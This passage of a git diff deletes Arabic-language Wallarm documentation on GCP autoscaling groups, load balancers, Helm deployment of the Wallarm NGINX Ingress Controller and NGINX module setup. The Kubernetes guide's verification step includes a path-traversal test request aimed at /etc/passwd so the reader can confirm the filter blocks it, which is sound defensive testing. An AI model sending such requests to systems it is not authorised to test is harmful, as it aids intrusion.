https://cloud.google.com/compute/docs/autoscaler/scaling-cpu-load-balancing#scaling_based_on_https_load_balancing_serving_capacity -[link-stackdriver-monitoring-metric-policy]: https://cloud.google.com/compute/docs/autoscaler/scaling-stackdriver-monitoring-metrics -[link-multiple-metrics-policy]: https://cloud.google.com/compute/docs/autoscaler/multiple-policies -[link-creating-load-balancer]: load-balancing-guide.md - -# إنشاء مجموعة نماذج مُدارة مع تمكين التوسيع التلقائي - -لإنشاء مجموعة نماذج مُدارة وتكوين التوسيع التلقائي لها، اتبع الخطوات التالية: - -1. انتقل إلى صفحة **مجموعات النماذج** في قسم **Compute Engine** من القائمة واضغط على زر **إنشاء مجموعة نماذج**. - - ![إنشاء مجموعة نموذج][img-creating-instance-group] - -2. أدخل اسم المجموعة في حقل **الاسم**. - -3. اختر **مجموعة نماذج مُدارة** في إعداد **نوع المجموعة**. - -4. مكّن التوسيع التلقائي للمجموعة عبر اختيار خيار **التشغيل** من قائمة **التوسيع التلقائي** المنسدلة. - -5. اختر سياسة التوسيع المطلوبة من قائمة **سياسة التوسيع التلقائي** المنسدلة. - - تحتوي سياسات التوسيع على قواعد لزيادة وتقليل حجم المجموعة. يحدد النظام متى يجب إضافة أو إزالة نموذج من المجموعة للحفاظ على المقياس الذي تستند إليه السياسة عند المستوى المستهدف الذي حدده المستخدم. - - يمكنك اختيار واحدة من السياسات التالية: - - 1. استخدام وحدة المعالجة المركزية: يتم التحكم في حجم المجموعة للحفاظ على متوسط حمل المعالج للآلات الافتراضية في المجموعة عند المستوى المطلوب ([وثائق سياسة استخدام وحدة المعالجة المركزية][link-cpu-usage-policy]). - 2. استخدام توازن التحميل HTTP: يتم التحكم في حجم المجموعة للحفاظ على تحميل موزع الترافيك HTTP عند المستوى المطلوب ([وثائق سياسة استخدام توازن التحميل HTTP][link-http-load-balancing-policy]). - 3. مقياس رصد Stackdriver: يتم التحكم في حجم المجموعة للحفاظ على المقياس المختار من أداة رصد Stackdriver عند المستوى المطلوب ([وثائق سياسة مقياس رصد Stackdriver][link-stackdriver-monitoring-metric-policy]). - 4. مقاييس متعددة: يتم اتخاذ قرار بتغيير حجم المجموعة على أساس مقاييس متعددة ([وثائق سياسات المقاييس المتعددة][link-multiple-metrics-policy]). - - يستخدم هذا الدليل سياسة **استخدام وحدة المعالجة المركزية** لتوضيح مبادئ العمل مع آلية التوسيع التلقائي. - - لتطبيق هذه السياسة، حدد المستوى المطلوب لمتوسط حمل المعالجات في حقل **استهداف استخدام الشعيرات** (بالنسب المئوية). - - !!! info "مثال" - يصف التكوين التالي التحكم في حجم مجموعة النماذج للحفاظ على متوسط حمل معالجات الآلات الافتراضية عند مستوى 60 في المئة. - ![مثال: إنشاء مجموعة نماذج][img-create-instance-group-example] - -6. حدد الحد الأدنى لحجم مجموعة النماذج في حقل **الحد الأدنى لعدد النماذج** (مثلاً، نموذجين). - -7. حدد الحد الأقصى لحجم مجموعة النماذج في حقل **الحد الأقصى لعدد النماذج** (مثلاً، 10 نماذج). - -8. حدد الفترة الزمنية التي يجب ألا تُسجل فيها قيم المقاييس من النموذج المُضاف حديثًا في حقل **فترة الهدوء** (مثلاً، 60 ثانية). قد يكون هذا ضروريًا إذا لاحظت قفزات في استهلاك الموارد بعد إضافة نموذج جديد. - - !!! info "متطلبات فترة الهدوء" - يجب أن تكون فترة الهدوء أطول من الوقت المطلوب للتهيئة النموذج. - -9. تأكد من تكوين جميع معايير مجموعة النماذج بشكل صحيح ثم اضغط على زر **إنشاء**. - -سيتم إطلاق العدد المحدد من النماذج تلقائيًا عند إنشاء مجموعة التوسيع التلقائي بنجاح. - -يمكنك التحقق من إنشاء مجموعة التوسيع التلقائي بشكل صحيح عبر عرض عدد النماذج المُطلقة في المجموعة ومقارنة هذه البيانات مع عدد العقد المرشحة المتصلة بـ Wallarm Cloud. - -يمكنك القيام بذلك باستخدام واجهة استخدام Wallarm Console. على سبيل المثال، إذا كانت نموذجين مع عقد ترشيح تعملان في نفس الوقت، ستعرض واجهة Wallarm هذا العدد للعقدة Wallarm المقابلة في قسم **العقد**. - -![علامة التبويب **العقد** في واجهة ويب Wallarm][img-checking-nodes-operation] - -يمكنك الآن المتابعة مع [إنشاء وتكوين موزع تحميل][link-creating-load-balancer]. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-guides/google-cloud/creating-instance-template.md b/docs/latest-ar/admin-en/installation-guides/google-cloud/creating-instance-template.md deleted file mode 100644 index ffbc2e2b43..0000000000 --- a/docs/latest-ar/admin-en/installation-guides/google-cloud/creating-instance-template.md +++ /dev/null @@ -1,36 +0,0 @@ -# إنشاء قالب نموذج لعقدة التصفية على GCP - -[img-creating-template]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/create-instance-template.png -[img-selecting-image]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/select-image.png - -[link-creating-image]: create-image.md -[link-creating-instance-group]: creating-autoscaling-group.md - -سيتم استخدام قالب نموذج لعقدة التصفية لاحقًا كأساس عند إنشاء مجموعة نماذج مدارة. لإنشاء قالب نموذج لعقدة التصفية، قم بما يلي: - -1. توجه إلى صفحة **قوالب النماذج** ضمن قسم **حوسبة النماذج** في القائمة وانقر على زر **إنشاء قالب نموذج**. - - ![إنشاء قالب نموذج][img-creating-template] - -2. أدخل اسم القالب في حقل **الاسم**. -3. اختر نوع الآلة الافتراضية لإطلاق آلة افتراضية بها عقدة التصفية من حقل **نوع الآلة**. - - !!! warning "اختر نوع النموذج المناسب" - اختر نفس نوع النموذج الذي استخدمته عند تكوين عقدة التصفية بادئ الأمر (أو نوعًا أقوى). - - استخدام نوع نموذج أقل قوة قد يؤدي إلى مشاكل في عملية عقدة التصفية. - -4. انقر على زر **تغيير** في إعداد **القرص التمهيدي**. في النافذة التي تظهر، توجه إلى تبويب **الصور المخصصة** واختر اسم المشروع الذي أنشأت فيه صورة الآلة الافتراضية من قائمة الانسدال **إظهار الصور من**. اختر [الصورة المُنشأة مسبقًا][link-creating-image] من قائمة الصور المتاحة للمشروع وانقر على زر **تحديد**. - - ![اختيار صورة][img-selecting-image] - -5. ليكون النماذج المعتمدة على القالب مطابقة للنموذج الأساسي، قم بتهيئة جميع المعايير المتبقية بنفس الطريقة التي هيأت بها العوامل عند [إنشاء نموذجك الأساسي][link-creating-image]. - - !!! info "تهيئة جدار الحماية" - تأكد من أن جدار الحماية لا يحجب حركة البيانات HTTP إلى القالب المُنشأ. لتمكين حركة بيانات HTTP، حدد خانة الاختيار **السماح بحركة بيانات HTTP**. - - --8<-- "../include/gcp-autoscaling-connect-ssh.md" - -6. انقر على زر **إنشاء** وانتظر حتى ينتهي عملية إنشاء قالب. - -بعد إنشاء قالب النموذج، يمكنك المضي قدمًا مع [إنشاء مجموعة نماذج مدارة][link-creating-instance-group] مع تمكين التوسع التلقائي. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-guides/google-cloud/load-balancing-guide.md b/docs/latest-ar/admin-en/installation-guides/google-cloud/load-balancing-guide.md deleted file mode 100644 index 108fad2045..0000000000 --- a/docs/latest-ar/admin-en/installation-guides/google-cloud/load-balancing-guide.md +++ /dev/null @@ -1,118 +0,0 @@ -[link-doc-asg-guide]: creating-autoscaling-group.md -[link-docs-check-operation]: /admin-en/installation-check-operation-en.md -[link-lb-comparison]: https://cloud.google.com/load-balancing/docs/load-balancing-overview -[link-creating-instance-group]: creating-autoscaling-group.md -[link-backup-resource]: https://cloud.google.com/load-balancing/docs/target-pools#backupPool -[link-health-check]: https://cloud.google.com/load-balancing/docs/health-checks -[link-session-affinity]: https://cloud.google.com/load-balancing/docs/target-pools#sessionaffinity -[link-test-attack]: ../../installation-check-operation-en.md -[link-network-service-tier]: https://cloud.google.com/network-tiers/docs/ - -[img-backend-configuration]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/backend-configuration.png -[img-creating-lb]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/creating-load-balancer.png -[img-creating-tcp-lb]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/creating-tcp-load-balancer.png -[img-new-frontend-ip-and-port]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/frontend-configuration.png -[img-checking-attacks]: ../../../images/admin-guides/test-attacks-quickstart.png - -# إعداد توازن الطلبات الواردة على GCP - -بعد أن قمت بتهيئة مجموعة النسخ المُدارة وقمت بتمكين التوسع التلقائي لها، يجب عليك إنشاء وتهيئة موازن الحمل الذي يقوم بتوزيع الاتصالات الواردة عبر HTTP وHTTPS بين عدة عقد تصفية من المجموعة. - -يمكنك تهيئة الأنواع التالية لموازني الحمل على منصة Google Cloud: -* موازن الحمل HTTP(S) -* موازن الحمل TCP -* موازن الحمل UDP - -!!! info "الفروقات بين موازني الحمل" - للحصول على معلومات مفصلة عن الفروقات بين موازني الحمل، يُرجى الانتقال إلى هذا [الرابط][link-lb-comparison]. - -يوضح هذا الوثيقة كيفية تهيئة واستخدام موازن الحمل TCP الذي يوزع حركة المرور على مستوى نقل البيانات في نموذج شبكة OSI/ISO. - -أكمل الخطوات التالية لإنشاء موازن الحمل TCP لمجموعتك: - -1. انتقل إلى صفحة **توازن الحمل** في قسم **خدمات الشبكة** من القائمة وانقر على زر **إنشاء موازن الحمل**. - -2. انقر على زر **بدء التهيئة** على بطاقة **توازن الحمل TCP**. - -3. حدد الخيارات المطلوبة في الإعدادات التالية: - - 1. اختر خيار **من الإنترنت إلى VMs** في إعداد **الواجهة الأمامية للإنترنت أو الداخلية فقط** حتى يتحكم موازن الحمل في الطلبات الواردة من العملاء إلى الخادم الخاص بك. - - 2. اختر خيار **منطقة واحدة فقط** في إعداد **عدة مناطق أو منطقة واحدة**. - - !!! info "توازن الحركة للموارد الموجودة في مناطق مختلفة" - تصف هذه الوثيقة تهيئة موازن الحمل لمجموعة نسخ موجودة في منطقة واحدة. - - في حالة توازن الحركة لعدة موارد موجودة في مناطق متعددة، اختر خيار **عدة مناطق (أو غير متأكد بعد)**. - - ![إنشاء موازن حمل][img-creating-lb] - - انقر على زر **متابعة**. - -4. أدخل اسم موازن الحمل في حقل **الاسم**. - -5. انقر على زر **تهيئة الخلفية** لاستخدام [مجموعة النسخ المُنشأة][link-creating-instance-group] كالخلفية التي سيوجه إليها موازن الحمل الطلبات الواردة. - -6. أملأ النموذج بالبيانات التالية: - - 1. اختر المنطقة التي تقع فيها مجموعة النسخ من قائمة **المنطقة**. - - 2. انتقل إلى علامة التبويب **اختيار مجموعات النسخ الموجودة** في إعداد **الخلفيات** واختر اسم مجموعة النسخ من قائمة **إضافة مجموعة نسخ**. - - 3. إذا لزم الأمر، حدد مسبح النسخ الاحتياطي بتحديد خيار **إنشاء مسبح احتياطي** من قائمة **مسبح النسخ الاحتياطي**. - - !!! info "استخدام مسبح نسخ احتياطي" - يتعامل مسبح النسخ الاحتياطي مع الطلبات إذا كانت مجموعة النسخ المختارة في الإعداد السابق غير متاحة. للحصول على معلومات مفصلة حول تهيئة مسبح نسخ احتياطي، يُرجى الانتقال إلى هذا [الرابط][link-backup-resource]. - - لا يتم وصف تهيئة مسبح النسخ الاحتياطي في هذا المستند. - - 4. إذا لزم الأمر، قم بتهيئة فحص توافر مثيلات المجموعة بتحديد خيار **إنشاء فحص صحي** في قائمة **الفحص الصحي**. للحصول على معلومات مفصلة حول فحص توافر الآلة، يُرجى الانتقال إلى هذا [الرابط][link-health-check]. - - !!! info "فحص التوافر" - فحص التوافر ليس ضمن نطاق هذا المستند. لذا، هنا يتم اختيار خيار **بدون فحص صحي** في قائمة **الفحص الصحي**. - - ![تهيئة الخلفية][img-backend-configuration] - -7. انقر على زر **تهيئة الواجهة الأمامية** لتحديد عناوين الـ IP والمنافذ التي سيُرسل إليها العملاء طلباتهم. - -8. أملأ النموذج لإنشاء عناوين IP ومنافذ جديدة بالبيانات المطلوبة: - - 1. إذا لزم الأمر، أدخل اسم زوج العنوان IP والمنفذ الجديد في حقل **الاسم**. - - 2. حدد الطبقة الخدمية الشبكية المطلوبة في إعداد **طبقة الخدمة الشبكية**. للحصول على معلومات مفصلة حول طبقات الخدمة الشبكية، يُرجى الانتقال إلى هذا [الرابط][link-network-service-tier]; - - 3. اختر عنوان IP الذي سوف يتلقى موازن الحمل الطلبات منه من قائمة **الـ IP**. - - 1. اختر خيار **عابر** إذا كنت ترغب في أن يحصل موازن الحمل على عنوان IP جديد عند كل بدء تشغيل للجهاز الافتراضي. - - 2. اختر خيار **إنشاء عنوان IP** لتوليد عنوان IP ثابت لموازن الحمل. - - في النموذج الذي يظهر، أدخل اسم العنوان IP الجديد في حقل **الاسم** وانقر على زر **حجز**. - - 4. أدخل المنفذ الذي سيتلقى فيه موازن الحمل الطلبات في حقل **المنفذ**. - - !!! info "اختيار المنفذ" - في هذا المستند، يتم تحديد المنفذ `80` لتلقي الطلبات عبر بروتوكول HTTP. - - ![نموذج إنشاء عنوان IP ومنفذ أمامي جديد][img-new-frontend-ip-and-port] - - انقر على زر **تم** لإنشاء زوج عنوان IP والمنفذ المُهيأ. - - !!! info "المنافذ الأمامية المطلوبة" - في هذا المستند، يتم تهيئة الموازن لتلقي الطلبات عبر بروتوكول HTTP. إذا كانت مجموعة النسخ تتلقى طلبات عبر بروتوكول HTTPS، قم بإنشاء زوج آخر من عنوان IP والمنفذ الذي يحدد المنفذ `443`. - -9. انقر على زر **إنشاء** لإنشاء موازن الحمل المُهيأ. - - ![إنشاء موازن حمل TCP][img-creating-tcp-lb] - -انتظر حتى تنتهي عملية إنشاء موازن الحمل ويتصل موازن الحمل بمجموعة النسخ التي قمت بإنشائها مسبقًا. - -نظرًا لأن موازن الحمل TCP الذي تم إنشاؤه يستخدم خدمة الخلفية (والتي تعمل مع الخلفية المُنشأة لمجموعة النسخ الخاصة بك)، لا تحتاج مجموعة النسخ إلى تعديلات في التهيئة لكي يتصل بها موازن الحمل. - -الآن، ستقوم مجموعة العقد المتغيرة التوسع لفلاتر Wallarm بمعالجة حركة المرور الواردة إلى تطبيقك. - -للتحقق من تشغيل عقد الفلترة الموزعة، قم بالخطوات التالية: -1. تأكد من إمكانية الوصول إلى تطبيقك عبر عنوان IP أو اسم المجال لموازن الحمل وعقد فلترة Wallarm باستخدام متصفحك. -2. تأكد من حماية خدمات Wallarm لتطبيقك بـ[تنفيذ هجوم اختباري][link-test-attack]. - -![علامة التبويب «الأحداث» في واجهة ويب Wallarm][img-checking-attacks] \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-kubernetes-en.md b/docs/latest-ar/admin-en/installation-kubernetes-en.md deleted file mode 100644 index 8c7a95c66a..0000000000 --- a/docs/latest-ar/admin-en/installation-kubernetes-en.md +++ /dev/null @@ -1,240 +0,0 @@ -# نشر NGINX Ingress Controller مع خدمات Wallarm المدمجة - -توفر هذه التعليمات البرمجية الخطوات لنشر متحكم الوصول (ingress) NGINX-المستند إلى Wallarm في تجمع K8s. تشمل الحلول الوظيفة الافتراضية لـ[Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx) مع خدمات Wallarm المدمجة. - -!!! warning - The Kubernetes community will [retire the Community Ingress NGINX in March 2026](https://blog.nginx.org/blog/the-ingress-nginx-alternative-open-source-nginx-ingress-controller-for-the-long-term). The Wallarm NGINX Ingress Controller based on this project will be supported through the same date. You can continue using it until then, and it will remain fully functional during the support window. - - Wallarm will provide alternative deployment options and migration guidance as they become available. [Details](../updating-migrating/nginx-ingress-retirement.md) - - An [Envoy/Istio-based connector](../installation/connectors/istio.md) is also available today for environments already using Envoy. - -هذه الحلول تتضمن الهندسة المعمارية التالية: - -![Solution architecture][nginx-ing-image] - -الحل مُنشر من خلال الرسم البياني لـHelm الخاص بـ Wallarm. - -## حالات الاستخدام - -من بين جميع خيارات نشر Wallarm المدعومة، يُفضل هذا الحل للحالات التالية: - -* لا يوجد متحكم الوصول وطبقة الأمان التي توجه الحركة إلى موارد الوصول المتوافقة مع [Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx). -* أنت تستخدم حاليا Community Ingress NGINX Controller وتبحث عن حل أمان يقدم كل من وظائف المتحكم القياسية وميزات الأمان المحسنة. في هذه الحالة، يمكنك الانتقال بسهولة إلى متحكم الوصول Wallarm-NGINX المفصل في هذه التعليمات. ببساطة، قم بترحيل التكوين الحالي الخاص بك إلى نشر جديد لإكمال التبديل. - - في حالة الاستخدام المتزامن لكل من متحكم الوصول الحالي والمتحكم Wallarm، راجع [دليل سلسلة متحكم الوصول](chaining-doc) للحصول على تفاصيل التكوين. - -## المتطلبات - ---8<-- "../include/waf/installation/requirements-nginx-ingress-controller-6.x.md" - -!!! info "انظر أيضا" - * [ما هو Ingress؟](https://kubernetes.io/docs/concepts/services-networking/ingress/) - * [تثبيت Helm](https://helm.sh/docs/intro/install/) - -## القيود المعروفة - -* العمل بدون وحدة postanalytics غير مدعوم. -* قد يؤدي التقليل من وحدة postanalytics إلى فقدان جزئي لبيانات الهجوم. - -## التثبيت - -1. [تثبيت](#step-1-installing-the-wallarm-ingress-controller) المتحكم Wallarm Ingress. -2. [تمكين](#step-2-enabling-traffic-analysis-for-your-ingress) تحليل الحركة لـ Ingress الخاصة بك. -3. [التحقق من](#step-3-checking-the-wallarm-ingress-controller-operation) عملية المتحكم Wallarm Ingress. - -### الخطوة 1: تثبيت Wallarm Ingress Controller - -لتثبيت Wallarm Ingress Controller: - -1. أنشئ رمز عقدة تصفية من [النوع المناسب][node-token-types]: - - === "رمز API (Helm chart 4.6.8 وما فوق)" - 1. افتح Wallarm Console → **الإعدادات** → **رموز API** في [السحابة الأمريكية](https://us1.my.wallarm.com/settings/api-tokens) أو [السحابة الأوروبية](https://my.wallarm.com/settings/api-tokens). - 1. البحث أو الإنشاء رمز API بدور المصدر `Deploy`. - 1. نسخ هذا الرمز. - === "رمز العقدة" - 1. افتح Wallarm Console → **العقد** في إما [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [السحابة الأوروبية](https://my.wallarm.com/nodes). - 1. إنشاء عقدة تصفية بنوع **عقدة Wallarm** ونسخ الرمز المُنتج. - - ![إنشاء عقدة Wallarm][nginx-ing-create-node-img] -1. قم بإنشاء مساحة الأسماء Kubernetes لنشر الرسم البياني Helm مع المتحكم Wallarm Ingress: - - ```bash - kubectl create namespace - ``` -1. أضف [مستودع الرسم البياني Wallarm](https://charts.wallarm.com/): - - ``` - helm repo add wallarm https://charts.wallarm.com - ``` - -1. أنشاء الملف `values.yaml` مع [تكوين Wallarm][configure-nginx-ing-controller-docs]. مثال على الملف بالتكوين الأدنى أدناه. - - عند استخدام رمز API، حدد اسم مجموعة العقدة في المعلمة `nodeGroup`. سيتم تعيين عقدتك إلى هذه المجموعة، والتي تظهر في قسم العقد **Nodes** في Wallarm Console. اسم المجموعة الافتراضي هو `defaultIngressGroup`. - - === "US Cloud" - ```yaml - controller: - wallarm: - enabled: "true" - token: "" - apiHost: "us1.api.wallarm.com" - # nodeGroup: defaultIngressGroup - ``` - === "EU Cloud" - ```yaml - controller: - wallarm: - enabled: "true" - token: "" - # nodeGroup: defaultIngressGroup - ``` - - يمكنك أيضا تخزين رمز العقدة Wallarm في أسرار Kubernetes وسحبها إلى الرسم البياني Helm. [اقرأ المزيد][controllerwallarmexistingsecret-docs] - - !!! info "النشر من التسجيلات الخاصة بك" - يمكنك الكتابة فوق عناصر ملف `values.yaml` لتثبيت المتحكم Wallarm Ingress من الصور المخزنة [في تسجيلاتك الخاصة](#deployment-from-your-own-registries). - -1. تثبيت حزم Wallarm: - - ``` bash - helm install --version 4.10.4 wallarm/wallarm-ingress -n -f - ``` - - * `` هو اسم الإصدار Helm للمتحكم الرسم البياني لـ Ingress - * `` هو مساحة أسماء Kubernetes التي أنشأتها للمتحكم الرسم البياني لـ Wallarm Ingress - * `` هو المسار إلى الملف `values.yaml` - -### الخطوة 2: تمكين تحليل الحركة لـ Ingress الخاصة بك - -``` bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-mode=monitoring -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-application="" -``` -* `` هو اسم Ingress الخاص بك -* `` هو مكان أسماء Ingress الخاص بك -* `` هو عدد موجب فريد لكل [تطبيقاتك أو مجموعات التطبيقات][application-docs]. سيتيح لك هذا الحصول على إحصائيات منفصلة والتمييز بين الهجمات المستهدفة للتطبيقات المقابلة - -### الخطوة 3: التحقق من عملية Wallarm Ingress Controller - -1. الحصول على قائمة الأقدام: - ``` - kubectl get pods -n -l app.kubernetes.io/name=wallarm-ingress - ``` - - يجب على كل أقدام عرض الاتي: **STATUS: Running** و **READY: N/N**. على سبيل المثال: - - ``` - NAME READY STATUS RESTARTS AGE - ingress-controller-nginx-ingress-controller-675c68d46d-cfck8 3/3 Running 0 5m - ingress-controller-nginx-ingress-controller-wallarm-tarantljj8g 4/4 Running 0 5m - ``` -2. ارسال الطلب مع الهجوم الاختباري [Path Traversal][ptrav-attack-docs] إلى خدمة Ingress Controller: - - ```bash - curl http:///etc/passwd - ``` - - إذا كانت العقدة التصفية تعمل في وضع `block`، سيتم إرجاع الرمز `403 Forbidden` في الرد على الطلب وسيتم عرض الهجوم في Wallarm Console → **الهجمات**. - -## نشر ARM64 - -مع إصدار هيلم Helm لـ NGINX Ingress controller الإصدار 4.8.2، تم تقديم التوافق مع معالج ARM64. في البداية مجهزة لبنىة المعالجات x86، ينطوي النشر على عقد ARM64 على تعديل معلمات الرسم البياني Helm. - -في إعدادات ARM64، غالبًا ما تحمل عقد Kubernetes تسمية `arm64`. لمساعدة المجدول Kubernetes في تخصيص الحمل العملي لـ Wallarm لنوع العقدة المناسب، ارجع إلى هذه التسمية باستخدام `nodeSelector`، أو `tolerations`، أو قواعد التوافق في تكوين الرسم البياني Helm الخاص بـ Wallarm. - -أدناه مثال على رسم هيلم Helm لـ Wallarm بالنسبة لـ Google Kubernetes Engine (GKE)، الذي يستخدم تسمية `kubernetes.io/arch: arm64` للعقد الأصلح. هذا القالب قابل للتعديل للتوافق مع غيرها من الإعدادات السحابية، مع احترام اصناف ARM64 الخاصة بها. - -=== "nodeSelector" - ```yaml - controller: - nodeSelector: - kubernetes.io/arch: arm64 - admissionWebhooks: - nodeSelector: - kubernetes.io/arch: arm64 - patch: - nodeSelector: - kubernetes.io/arch: arm64 - wallarm: - tarantool: - nodeSelector: - kubernetes.io/arch: arm64 - enabled: true - token: "" - apiHost: "us1.api.wallarm.com" # if using EU Cloud, comment out this line - # If using an API token, uncomment the following line and specify your node group name - # nodeGroup: defaultIngressGroup - ``` -=== "tolerations" - ```yaml - controller: - tolerations: - - key: kubernetes.io/arch - operator: Equal - value: arm64 - effect: NoSchedule - admissionWebhooks: - patch: - tolerations: - - key: kubernetes.io/arch - operator: Equal - value: arm64 - effect: NoSchedule - wallarm: - tarantool: - tolerations: - - key: kubernetes.io/arch - operator: Equal - value: arm64 - effect: NoSchedule - enabled: true - token: "" - apiHost: "us1.api.wallarm.com" # if using EU Cloud, comment out this line - # If using an API token, uncomment the following line and specify your node group name - # nodeGroup: defaultIngressGroup - ``` - -## نشر من التسجيلات الخاصة بك - -إذا لم تكن تستطيع سحب الصور Docker من المستودع العام Wallarm بسبب بعض الأسباب، على سبيل المثال بسبب سياسة الأمان الخاصة بشركتك تحد من استخدام أي موارد خارجية، بدلا من ذلك يمكنك: - -1. نسخ هذه الصور إلى سجلك الخاص. -1. تثبيت Wallarm NGINX-based Ingress controller باستخدامها. - -تستخدم الصور Docker التالية بواسطة الرسم البياني Helm لنشر Ingress Controller المبني على NGINX: - -* [wallarm/ingress-controller](https://hub.docker.com/r/wallarm/ingress-controller) -* [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) - -لتثبيت Wallarm NGINX-based Ingress controller باستخدام الصور المخزنة في سجلك، تجاوز ملف `values.yaml` الخاص برسم Wallarm Ingress controller Helm chart: - -```yaml -controller: - image: - ## The image and tag for wallarm nginx ingress controller - ## - registry: - image: wallarm/ingress-controller - tag: - wallarm: - helpers: - ## The image and tag for the helper image - ## - image: /wallarm/node-helpers - tag: -``` - -ثم قم بالتثبيت باستخدام `values.yaml` المعدل الخاص بك. - -## التعريف - -بعد تثبيت والتحقق من Wallarm Ingress controller بنجاح، يمكنك إجراء تكوينات متقدمة للحل مثل: - -* [الإبلاغ الصحيح عن عنوان IP العام للمستخدم النهائي][best-practices-for-public-ip] -* [إدارة حظر عناوين IP][ip-lists-docs] -* [الاعتبارات المتعلقة بالتوفر العالي][best-practices-for-high-availability] -* [رصد مراقبة الوصول][best-practices-for-ingress-monitoring] - -للعثور على المعلمات المستخدمة للتكوين المتقدم والتعليمات المناسبة، يرجى اتباع ال[رابط][configure-nginx-ing-controller-docs]. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-nginx-overview.md b/docs/latest-ar/admin-en/installation-nginx-overview.md deleted file mode 100644 index 27282c57f2..0000000000 --- a/docs/latest-ar/admin-en/installation-nginx-overview.md +++ /dev/null @@ -1,62 +0,0 @@ -# نظرة عامة على خيارات التثبيت - -[img-postanalytics-options]: ../images/installation-nginx-overview/postanalytics-options.png -[img-nginx-options]: ../images/installation-nginx-overview/nginx-options.png - -[anchor-mod-overview]: #modules-overview -[anchor-mod-installation]: #installing-and-configuring-the-modules -[anchor-mod-inst-nginx]: #module-for-nginx -[anchor-mod-inst-nginxplus]: #module-for-nginx-plus -[anchor-mod-inst-postanalytics]: #postanalytics-module - -[link-ig-nginx]: ../installation/nginx/dynamic-module.md -[link-ig-nginx-distr]: ../installation/nginx/dynamic-module-from-distr.md -[link-ig-nginxplus]: ../installation/nginx-plus.md - - - -يتألف عقد تصفية Wallarm المستخدم مع NGINX أو NGINX Plus من الوحدات النمطية التالية: -* الوحدة النمطية التي تتصل بـ NGINX (NGINX Plus) -* وحدة التحليلات اللاحقة - -يعتمد ترتيب تثبيت وتهيئة الوحدات النمطية على طريقة تثبيتك لـ NGINX أو NGINX Plus. - -يحتوي هذا المستند على الأقسام التالية: - -* [نظرة عامة على الوحدات النمطية][anchor-mod-overview] -* [روابط][anchor-mod-installation] إلى تعليمات تثبيت وتكوين الوحدة النمطية المحددة - -## نظرة عامة على الوحدات النمطية - -عند استخدام عقدة التصفية لمعالجة الطلبات، يتم معالجة حركة المرور الواردة تتابعاً عبر المعالجة الأولية ومن ثم المعالجة بواسطة وحدات Wallarm النمطية. - -1. يتم أداء المعالجة الأولية لحركة المرور بواسطة الوحدة النمطية التي تتصل بـ [NGINX][anchor-mod-inst-nginx] أو [NGINX Plus][anchor-mod-inst-nginxplus] المثبت بالفعل في النظام. -2. يتم إجراء معالجة حركة المرور الإضافية بواسطة [وحدة التحليلات اللاحقة][anchor-mod-inst-postanalytics]، والتي تحتاج إلى كمية كبيرة من الذاكرة للعمل بشكل صحيح. لذلك، يمكنك اختيار أحد خيارات التثبيت التالية: - * تثبيتها على نفس الخوادم مثل NGINX/NGINX Plus (إذا سمحت تكوينات الخادم بهذا) - * تثبيتها على مجموعة من الخوادم المنفصلة عن NGINX/NGINX Plus - -![خيارات تثبيت وحدة التحليلات اللاحقة][img-postanalytics-options] - -## تثبيت وتكوين الوحدات النمطية - -### وحدة لـ NGINX - -!!! تحذير "اختيار الوحدة النمطية للتثبيت" - تعتمد إجراءات تثبيت واتصال وحدة Wallarm على طريقة تثبيت NGINX التي تستخدمها. - -يمكن توصيل وحدة Wallarm لـ NGINX من خلال إحدى طرق التثبيت التالية (الروابط إلى تعليمات لكل خيار من خيارات التثبيت مدرجة في الأقواس): - -![خيارات تثبيت وحدة NGINX][img-nginx-options] - -* بناء NGINX من ملفات المصدر ([تعليمات][link-ig-nginx]) -* تثبيت حزم NGINX من مستودع NGINX ([تعليمات][link-ig-nginx]) -* تثبيت حزم NGINX من مستودع Debian ([تعليمات][link-ig-nginx-distr]) -* تثبيت حزم NGINX من مستودع CentOS ([تعليمات][link-ig-nginx-distr]) - -### وحدة لـ NGINX Plus - -[هذه][link-ig-nginxplus] التعليمات تصف كيفية اتصال Wallarm بوحدة NGINX Plus. - -### وحدة التحليلات اللاحقة - -تقع تعليمات تثبيت وتكوين وحدة التحليلات اللاحقة (إما على نفس الخادم مع NGINX/NGINX Plus أو على خادم منفصل) في قسم تثبيت وحدة [NGINX][anchor-mod-inst-nginx] وقسم تثبيت الوحدة [NGINX Plus][anchor-mod-inst-nginxplus]. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-postanalytics-en.md b/docs/latest-ar/admin-en/installation-postanalytics-en.md deleted file mode 100644 index aecb6e8b7d..0000000000 --- a/docs/latest-ar/admin-en/installation-postanalytics-en.md +++ /dev/null @@ -1,630 +0,0 @@ -[tarantool-status]: ../images/tarantool-status.png -[configure-selinux-instr]: configure-selinux.md -[configure-proxy-balancer-instr]: configuration-guides/access-to-wallarm-api-via-proxy.md -[img-wl-console-users]: ../images/check-user-no-2fa.png -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation - -# تنصيب وحدة Postanalytics بشكل منفصل - -تشتمل الطلبات المعالجة في Wallarm على مرحلتين، بما في ذلك مرحلة Postanalytics لتحليل الطلبات الإحصائي. تكون Postanalytics مكثفة بالذاكرة، مما قد يتطلب تنفيذها على خادم مخصص لأداء محسن. يوضح هذا المقال كيفية تثبيت وحدة Postanalytics على خادم منفصل. - -الخيار لتثبيت وحدة Postanalytics على خادم منفصل متاح للأدوات التالية: - -* [الحزم الفردية لـ NGINX المستقر](../installation/nginx/dynamic-module.md) -* [الحزم الفردية لـ NGINX Plus](../installation/nginx-plus.md) -* [الحزم الفردية لـ NGINX المقدم من التفعيل](../installation/nginx/dynamic-module-from-distr.md) -* [المعالج الشامل](../installation/nginx/all-in-one.md) - -بشكل 